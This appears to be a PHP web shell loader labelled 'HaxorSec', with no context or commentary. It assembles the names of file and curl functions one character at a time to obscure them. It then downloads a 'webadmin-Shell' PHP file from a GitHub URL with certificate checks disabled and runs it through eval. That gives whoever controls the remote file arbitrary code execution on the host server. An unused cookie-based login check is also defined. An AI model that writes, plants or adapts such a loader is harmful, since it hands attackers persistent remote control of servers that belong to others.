HaxorSecfunction is_logged_in(){    return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'user123'; // Ganti 'user123' dengan nilai yang sesuai}    function geturlsinfo($url)    {      $fpn = "f"."o"."p"."e"."n";      $strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";      $fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";      $cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";        if (function_exists($cexec)) {            $conn = curl_init($url);            curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);            curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);            curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");            curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);            curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);            $urls = $cexec($conn);            curl_close($conn);        } elseif (function_exists($fgt)) {            $urls = $fgt($url);        } elseif (function_exists($fpn) && function_exists($strim)) {            $handle = $fpn($url, "r");            $urls = $strim($handle);            fclose($handle);        } else {            $urls = false;        }        return $urls;    }    $a = geturlsinfo('https://raw.githubusercontent.com/i7xDz/webadmin-Shell/refs/heads/master/webadmin.php');    eval('' . $a);